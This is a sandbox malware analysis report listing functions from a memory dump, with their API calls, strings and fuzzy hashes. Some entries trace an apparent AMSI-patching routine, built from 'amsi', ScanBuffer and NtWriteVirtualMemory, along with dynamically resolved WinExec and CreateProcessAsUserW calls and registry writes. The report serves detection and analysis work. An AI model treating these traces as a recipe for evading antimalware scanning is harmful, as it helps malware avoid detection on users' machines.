Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 72f845ee6885ba6686e1b64296ff33e682340f76da776bbd631376c183fd1830
Instruction ID: df984f6583e635668cd7fbb5440f72d7f06dcc5e215125cf8faa9d8f9fe16e79
Opcode Fuzzy Hash: 72f845ee6885ba6686e1b64296ff33e682340f76da776bbd631376c183fd1830
Instruction Fuzzy Hash: 98B1337AA846448BCB15CFA8D680755FBE1FB86354F29C66DE40D8F386C7B09463CB90

Function 02ED88B8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02ED88C1

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

Part of subcall function 02ED7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02ED7DEC

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02ED8920

Strings

DllGetClassObject, xrefs: 02ED88E6
amsi, xrefs: 02ED88BC
W, xrefs: 02ED88CD

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: b5ba6880b89dce1bb84d7b64bd527b59954dcc853ffe9686957180cd0398a8a8
Instruction ID: 759bf6d26a8569122d11b24379fb43aac80323a313511d4873eccdcc46d5eb78
Opcode Fuzzy Hash: b5ba6880b89dce1bb84d7b64bd527b59954dcc853ffe9686957180cd0398a8a8
Instruction Fuzzy Hash: 50F0445058C381B9D301E3B48C45F4BBECD4BA2264F44DA5DB1E85A2D2D675D1078767

Function 02EC1A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02EC1FE4), ref: 02EC1B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02EC1FE4), ref: 02EC1B31

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0d8fdefe66f1622d3e261237b4690b746705db85cd72a2237586a7114325b8ad
Instruction ID: e8049de8ae92ae197f9d2cf4edb37e231ac310ba7d6c8234018d4142f4472486
Opcode Fuzzy Hash: 0d8fdefe66f1622d3e261237b4690b746705db85cd72a2237586a7114325b8ad
Instruction Fuzzy Hash: 5651BF756802408FDB15CFA88A94756BBE0AB46318F28D5AEE44C8F287D7B4D447CB91

Function 02EDE4B6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02EDE5F6

Strings

OpenSession, xrefs: 02EDE598
Initialize, xrefs: 02EDE4E6
ScanBuffer, xrefs: 02EDE53F

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 906aa40268b23a1bb030eb51880d5f5c2093b2fa104f1d16995c78915effc4c1
Instruction ID: 390886a7ab1b34ab53811d0cd6059730358c0ce6f1432785043f55d94bba2e47
Opcode Fuzzy Hash: 906aa40268b23a1bb030eb51880d5f5c2093b2fa104f1d16995c78915effc4c1
Instruction Fuzzy Hash: 59410135B801099BEB01FBE4D951ADE73FAEF88700F64E429F051AB285DA70AD138F55

Function 02ED8788 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62processCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02ED8814

Strings

CreateProcessAsUserW, xrefs: 02ED87A1
Kernel32, xrefs: 02ED87D3

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CreateProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 3130163322-2353454454
Opcode ID: 554f346403f0bc62e210fca64eee83c20e5c3c7efce1334ddc6d212f4d0e4137
Instruction ID: b4cbf7a682873980f5682bfabbe91330cc98788cdfcfb97d874856f2c4502306
Opcode Fuzzy Hash: 554f346403f0bc62e210fca64eee83c20e5c3c7efce1334ddc6d212f4d0e4137
Instruction Fuzzy Hash: 6511E5B6680248BFEB40EFA9DD51F9AB7EDEB4CB44F519414BA08D3240C674ED128B24

Function 02ED85BA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

WinExec.KERNEL32(?,?), ref: 02ED8624

Strings

Kernel32, xrefs: 02ED8607
WinExec, xrefs: 02ED85D5

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 8fcca304996f19ee3a68b6a545db39604470f1ef72aa93d6df1449059702b3b1
Instruction ID: dcaf720c8cad3080a450a9bf52258ea93a9fa5f906be8be8fd1df62fb09fb68b
Opcode Fuzzy Hash: 8fcca304996f19ee3a68b6a545db39604470f1ef72aa93d6df1449059702b3b1
Instruction Fuzzy Hash: EA016D796C4208BFE700EBE4DC12F6AB7EDE748B10F60E460B900D2640D670AD128A24

Function 02ED85BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

WinExec.KERNEL32(?,?), ref: 02ED8624

Strings

Kernel32, xrefs: 02ED8607
WinExec, xrefs: 02ED85D5

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$Exec
String ID: Kernel32$WinExec
API String ID: 2292790416-3609268280
Opcode ID: 694569c941b3f5f36d5bee27eac3a7f786170a81199bba7406516288e1140d88
Instruction ID: 1df5f327f922a402a8d97e96055f0837b79d29ebc1cc4d495afef968468f3f62
Opcode Fuzzy Hash: 694569c941b3f5f36d5bee27eac3a7f786170a81199bba7406516288e1140d88
Instruction Fuzzy Hash: 7BF06D796C4208BFE700EBE4DC12F6AB7EDE748B10F60E460B900D2640D670AD128A24

Function 02ED5C2C Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02ED5D74,?,?,02ED3900,00000001), ref: 02ED5C88
GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02ED5D74,?,?,02ED3900,00000001), ref: 02ED5CB6

Part of subcall function 02EC7D5C: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02ED3900,02ED5CF6,00000000,02ED5D74,?,?,02ED3900), ref: 02EC7DAA

Part of subcall function 02EC7F98: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02ED3900,02ED5D11,00000000,02ED5D74,?,?,02ED3900,00000001), ref: 02EC7FB7

GetLastError.KERNEL32(00000000,02ED5D74,?,?,02ED3900,00000001), ref: 02ED5D1B

Part of subcall function 02ECA778: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02ECC3D9,00000000,02ECC433), ref: 02ECA797

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: CreateErrorFileLast$FormatFullMessageNamePath
String ID:
API String ID: 503785936-0
Opcode ID: bc6167976016c5be3918f600439e3fd44c11f54f3d596a04e59b1bd2109ca36d
Instruction ID: 899e55e7113ee0b168003f7950ca461544814804c42eebcbbe7509300efdc20c
Opcode Fuzzy Hash: bc6167976016c5be3918f600439e3fd44c11f54f3d596a04e59b1bd2109ca36d
Instruction Fuzzy Hash: 8C319570A807099FDB00EFE5CA817EEB7F6AB49704FA0D469F504AB380D77559068F61

Function 02EDF212 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,0303BA58), ref: 02EDF258
RegSetValueExA.ADVAPI32(00000888,00000000,00000000,00000001,00000000,0000001C,00000000,02EDF2C3), ref: 02EDF290
RegCloseKey.ADVAPI32(00000888,00000888,00000000,00000000,00000001,00000000,0000001C,00000000,02EDF2C3), ref: 02EDF29B

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: 9ff3611d29ac7476056c1c5bafe00b2b8bd6637b8a50377fc7bdd4d923201ce2
Instruction ID: cf26a9d1307426a95c81e0616e5c37343630e8a5446016819f7605083f59cd83
Opcode Fuzzy Hash: 9ff3611d29ac7476056c1c5bafe00b2b8bd6637b8a50377fc7bdd4d923201ce2
Instruction Fuzzy Hash: A6113071680608AFD710EFA8D951E9E7BFDEB09300B60A465F504D7690DB35DE428F54

Function 02EDF214 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(?,00000000,0303BA58), ref: 02EDF258
RegSetValueExA.ADVAPI32(00000888,00000000,00000000,00000001,00000000,0000001C,00000000,02EDF2C3), ref: 02EDF290
RegCloseKey.ADVAPI32(00000888,00000888,00000000,00000000,00000001,00000000,0000001C,00000000,02EDF2C3), ref: 02EDF29B

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: CloseOpenValue
String ID:
API String ID: 779948276-0
Opcode ID: e501f262fd0b158e0636bfcfcb00374b4e391009d6c026fb370a063bb4872a64
Instruction ID: fd59dc7d4088c5ad57514cf79949ac647d2bc1603b1dd04fead2777994a98eda
Opcode Fuzzy Hash: e501f262fd0b158e0636bfcfcb00374b4e391009d6c026fb370a063bb4872a64
Instruction Fuzzy Hash: AF114271680608AFD710EFE8D951E9E7BFDEB09300F60A465F504D7690DB35DA428F54

Function 02ECE364 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 02ECE373

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 7abefcb86206452de996d6d5e66b2dc44c2d08a48f34b2e148b06c061c8ea044
Instruction ID: b8244a339cd058fa923dbcf37826604954b025594d7961e5e8fe6e86f6989a75
Opcode Fuzzy Hash: 7abefcb86206452de996d6d5e66b2dc44c2d08a48f34b2e148b06c061c8ea044
Instruction Fuzzy Hash: DAF0AF607D8100C78B207BFC8F846E9279A5F40344738F43EB80A9B201CB64AD47CB62

Function 02EC4D50 Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(02EDF4A4), ref: 02EC4C6E
SysAllocStringLen.OLEAUT32(?,?), ref: 02EC4D5B
SysFreeString.OLEAUT32(00000000), ref: 02EC4D6D

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 3f1784c7bf07cd4297d24ff80a07666f1847e75eafdc0d720cb40ac94caab726
Instruction ID: 522cb8f8870c81ceacfc0e62e281688321a6708ae0031badc200b6850c7545e9
Opcode Fuzzy Hash: 3f1784c7bf07cd4297d24ff80a07666f1847e75eafdc0d720cb40ac94caab726
Instruction Fuzzy Hash: 62E0E6FC1452055EFB185FA1DB50F7A66299FC1744B34E45DA804CD164D738D4426D38

Function 02ED70DC Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 02ED73DA

Strings

H, xrefs: 02ED7191

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 0ae7a6eda27b3300891d85e220f4c5b6640b939b74d3c30e0aa202aad4ed9b77
Instruction ID: e8385d7b1e13364f637c5ac15cef9789aa0f1e1edafa216c966bd9c6b2c06e3e
Opcode Fuzzy Hash: 0ae7a6eda27b3300891d85e220f4c5b6640b939b74d3c30e0aa202aad4ed9b77
Instruction Fuzzy Hash: 24B1D074A816089FDB15CF99D880A9DFBF2FF89314F24D169E849AB360D730A846CF50

Function 02ECE760 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 02ECE781

Part of subcall function 02ECE364: VariantClear.OLEAUT32(?), ref: 02ECE373

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: c0c3db41763685bba4166854896b728522d64ba6ace266438c57721cd9089ce4
Instruction ID: 36a3a082acda477c7812a45137708aa635cb8f6eccf2e7b50570de9bed46f178
Opcode Fuzzy Hash: c0c3db41763685bba4166854896b728522d64ba6ace266438c57721cd9089ce4
Instruction Fuzzy Hash: 3311912178421087C730ABA8CBC4AA6769AAF4575073CF43EF50A8B209DB308C43CAA1

Function 02ECE3FC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 02ECE43C

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 0f222df403deec479a75a99e0e4da7f7e6eb2e5dff2464cb6a1181868c8486c4
Instruction ID: 122c5c9ec114cff46b2e37b4d1787ce0148778cb6221021d1f7e59a8c992aaad
Opcode Fuzzy Hash: 0f222df403deec479a75a99e0e4da7f7e6eb2e5dff2464cb6a1181868c8486c4
Instruction Fuzzy Hash: 4C3164716802089FDB14DFE8CA84AAE77E8FB0C305F689569F905D3240D334D952CBA1

Function 02ED89D0 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

Part of subcall function 02ED7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02ED7DEC

Part of subcall function 02ED8338: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02ED83C2), ref: 02ED83A4

FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,02F4738C,Function_0000662C,00000004,02F4739C,02F4738C,05F5E103,00000040,02F473A0,74F60000,00000000,00000000), ref: 02ED8AAA

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushFreeInstructionLibraryMemoryVirtualWrite
String ID:
API String ID: 1478290883-0
Opcode ID: a81d7562a498db272871d76cedb09e7d618d66b98b402766c13437b101f596f1
Instruction ID: e86f8d77984fdc39928e2360ce82851a0c361776d48d833191552a12fe07135c
Opcode Fuzzy Hash: a81d7562a498db272871d76cedb09e7d618d66b98b402766c13437b101f596f1
Instruction Fuzzy Hash: AE2157706C03046FE750FBF4DD12B6EF7EA9B44B44F61A864B604E7180DBB599168A18

Function 02ED6D6C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02ED6DB9,?,?,?,00000000), ref: 02ED6D99

Part of subcall function 02EC4C60: SysFreeString.OLEAUT32(02EDF4A4), ref: 02EC4C6E

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
